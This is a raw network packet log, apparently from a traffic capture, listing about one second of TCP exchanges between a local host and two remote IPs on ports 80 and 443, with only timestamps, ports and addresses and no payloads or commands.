Nov 1, 2024 05:02:20.109880924 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109972954 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.110040903 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.110064030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.110075951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.110110044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.110230923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.110277891 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.224910021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.224934101 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.224945068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225074053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225122929 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.225140095 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225161076 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.225191116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.225197077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225235939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.225289106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225330114 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.225359917 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225372076 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.225408077 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.226603031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226653099 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.226667881 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226680040 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226711035 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.226726055 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.226896048 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226907015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226917982 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226932049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.226939917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.226973057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.227135897 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.227179050 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.227197886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.227243900 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.227319956 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.227329016 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.227339983 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.227360964 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.227375984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.264245987 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264293909 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264326096 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264348030 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.264370918 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264405012 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.264476061 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264520884 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264563084 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.264575005 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264693022 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.264738083 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.264746904 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.268987894 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.269042969 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.269053936 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.273179054 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.273224115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.273237944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.273257017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.273288965 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.273288965 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.318048000 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.341898918 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.341921091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.341934919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.341980934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342000961 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342011929 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342053890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342076063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342118025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342118979 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342159986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342238903 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342273951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342279911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342308044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342356920 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342401981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.342428923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342439890 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.342477083 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.343604088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.343657017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.343657970 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.343669891 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.343693018 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.343707085 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.343775988 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.343817949 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.343871117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.343883038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.343915939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.343976021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.344019890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.344192982 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.344235897 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.344268084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.344280005 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.344312906 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.344355106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.344402075 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.387586117 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.387792110 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.387814999 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.387851954 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.387873888 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.387890100 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.387927055 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.387955904 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.388128996 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.388160944 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.388176918 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.388184071 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.390079975 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.390139103 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.390147924 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.390155077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.390202045 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.390227079 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.390263081 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459027052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459069014 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459080935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459103107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459120035 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459129095 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459161997 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459250927 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459261894 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459286928 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459300041 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459418058 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459459066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459460020 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459470987 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.459498882 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.459522009 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.460684061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.460735083 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.460755110 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.460768938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.460788012 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.460810900 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.460854053 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.460896969 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.460925102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.460958958 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.460994959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461007118 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461018085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461031914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.461064100 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.461328030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461364985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461366892 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.461397886 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.461452007 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461492062 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.461515903 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461527109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.461563110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.507221937 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.507263899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.507267952 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.507276058 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.507309914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.542577982 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.542597055 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.542674065 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.543148994 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:20.543158054 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:20.576065063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576121092 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576133966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576209068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576224089 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.576224089 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.576309919 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.576329947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576343060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576396942 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.576489925 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576502085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.576550007 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.576574087 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.577783108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.577831984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.577852964 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.577867985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.577898026 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.577980995 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.577992916 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578022957 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.578094006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578174114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578191996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578203917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.578227043 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.578347921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578394890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.578402042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578413010 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578526020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.578538895 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578556061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.578591108 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.624125957 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.624196053 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.624217987 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.624228954 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.624268055 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.624269962 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.624310970 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.693253994 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693269014 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693281889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693296909 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693308115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693340063 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.693351030 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693366051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693376064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.693393946 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.693420887 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.693555117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693594933 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.693605900 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693618059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.693649054 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.694813967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.694823980 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.694848061 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.694864035 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.694890022 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.694937944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695019960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695039988 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695067883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695086002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695331097 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695377111 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695379019 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695390940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695413113 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695434093 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695723057 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695756912 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695764065 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695769072 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695811987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695811987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695882082 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695964098 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.695986032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.695987940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.696026087 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.741267920 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.741379023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.741390944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.741441011 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.741468906 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.741476059 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.742074966 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.810122013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810154915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810165882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810220003 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.810250998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.810308933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810376883 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810394049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810425997 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.810458899 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.810481071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810596943 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810609102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.810643911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.810655117 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.811850071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.811894894 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.811939001 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.811944008 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.811975002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.811980009 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812014103 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812103987 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812115908 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812158108 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812222958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812236071 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812280893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812542915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812561035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812587976 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812616110 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812658072 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812702894 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812735081 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812747955 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812776089 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812788963 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.812841892 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.812892914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.858238935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.858262062 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.858334064 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.858340025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.858352900 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.858392000 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.858450890 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.858463049 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.858494043 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.927277088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927333117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927345037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927443027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.927464008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927544117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927556992 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927584887 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.927598953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.927665949 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927711010 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.927720070 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.927753925 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.929178953 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929192066 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929234028 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.929291964 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929303885 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929341078 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.929441929 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929506063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.929558039 CET	59845	80	192.168.2.5	185.215.113.16
